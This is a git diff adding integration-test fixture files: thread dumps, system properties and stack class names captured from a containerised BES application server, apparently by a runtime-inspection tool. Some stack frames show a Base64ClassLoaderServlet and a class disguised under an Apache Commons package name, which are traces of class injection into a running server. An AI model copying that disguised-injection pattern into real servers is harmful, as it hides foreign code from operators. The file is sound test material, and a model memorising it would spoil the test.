sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-Acceptor-0" #71 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool-4" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"admin-thread-pool-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool-8" #66 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.commons.lang.NFIaM.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) + at com.bes.enterprise.catalina.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50) + at com.bes.enterprise.catalina.BESAppservValve.invoke(BESAppservValve.java:56) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:354) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:812) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:886) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1471) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3468863 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235) + at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216) + at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400) + at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540) + at com.bes.enterprise.startup.ASMain.main(ASMain.java:27) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #54 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@8390b45 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"http-nio-0.0.0.0-8080-ClientPoller-0" #70 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool-7" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-6900-Acceptor-0" #68 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-AsyncTimeout" #72 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool-3" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"admin-thread-pool-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #81 [WAITING] on java.lang.ref.ReferenceQueue$Lock@29479f9a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@566f350f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.bes.enterprise.base.disruptor.BatchEventProcessor +com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier +com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy +com.bes.enterprise.base.disruptor.util.Util +com.bes.enterprise.catalina.BESAppservValve +com.bes.enterprise.catalina.BesContextCleanupValve +com.bes.enterprise.server.builder.BesWebModule +com.bes.enterprise.startup.ASMain +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.valves.ErrorReportValve +org.apache.commons.lang.NFIaM.ErrorHandler +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$AsyncTimeout +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller +org.apache.tomcat.util.net.NioEndpoint$Acceptor +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.websocket.server.WsFilter diff --git a/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt new file mode 100644 index 00000000..e156f3d1 --- /dev/null +++ b/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt @@ -0,0 +1,739 @@ +# Generated At 2025-08-10 14:56:20 +SystemProps: +bes.loader: bes-system +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +bcs.loader: "${bes.home}/lib/bcs/*.jar" +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory +bes.home: /opt/bes +catalina.useNaming: true +os.name: Linux +sun.boot.class.path: /opt/bes/lib/endorsed/javaee-api-endorsed.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory +javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +jgroups.loader: "${bes.home}/lib/jgroups/*.jar" +xxx: xxx +org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem +user.name: root +shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar" +org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true +com.bes.resource.ejb.leakDetect: false +com.bes.hostName: a1666f015eb3 +java.naming.factory.initial: com.bes.jndi.CtxFactory +user.language: en +derby.system.home: /opt/bes +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +com.bes.enterprise.log.outAndErrNotRedirect: false +java.version: 1.8.0_342 +java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +com.bes.installRoot: /opt/bes +java.util.concurrent.ForkJoinPool.common.threadFactory: com.bes.enterprise.webtier.startup.SafeForkJoinWorkerThreadFactory +java.endorsed.dirs: /opt/bes/lib/endorsed +java.rmi.server.randomIDs: true +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +bes.base: /opt/bes +package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web. +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +java.home: /usr/local/openjdk-8/jre +java.vm.info: mixed mode +com.bes.instanceName: server +com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +path.separator: : +java.vm.version: 25.342-b07 +com.bes.verboseMode: true +bval.in-container: true +com.bes.enterprise.deployments.classpath.filter.systemapps: false +com.bes.resource.leakDetect: false +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /opt/bes/conf/security/server.policy +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem +package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web. +java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming +java.security.egd: file:/dev/./urandom +user.home: /root +com.bes.enterprise.needEncrypt.systemProperties: javax.net.ssl.trustStorePassword,javax.net.ssl.keyStorePassword +java.specification.vendor: Oracle Corporation +java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64 +java.vendor.url: http://java.oracle.com/ +com.bes.enterprise.deployments.classpath: false +java.vm.vendor: Oracle Corporation +common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar","${bes.home}/modules/db/lib/derby.jar","${bes.home}/modules/db/lib/derbyclient.jar" +com.bes.enterprise.startup.ExitOnInitFailure: true +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start +java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar +com.bes.instanceRoot: /opt/bes +java.vm.specification.name: Java Virtual Machine Specification +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /tmp +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +server.loader: +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +bes.version: 9.5.5 +com.bes.enterprise.embedder.source: ServerListener +java.ext.dirs: /usr/local/openjdk-8/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/opt/bes/lib/ext +user.dir: /opt/bes/conf +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.bes.enterprise.provider.default: com.bes.enterprise +com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy +com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true +file.encoding: UTF-8 +ANTLR_USE_DIRECT_CLASS_LOADING: true +org.objectweb.howl./opt/bes/repository/txlog/tx_1.log.locked: true +com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory +com.bes.javaRoot: /usr/local/openjdk-8 +java.specification.version: 1.8 + +=========================================== + +ThreadStacks: +"Spark_2" #94 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"LifecycleThread[com.bes.appserv]-1" #67 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b5836e3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-1900-4" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"AcceptorThread-8080-1" #85 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #88 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #107 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + +"ReadWriteBlockThread-1" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296) + +"Spark_0" #92 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f3ebe1f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69) + +"httpWorkerThread-1900-1" #69 daemon [WAITING] on 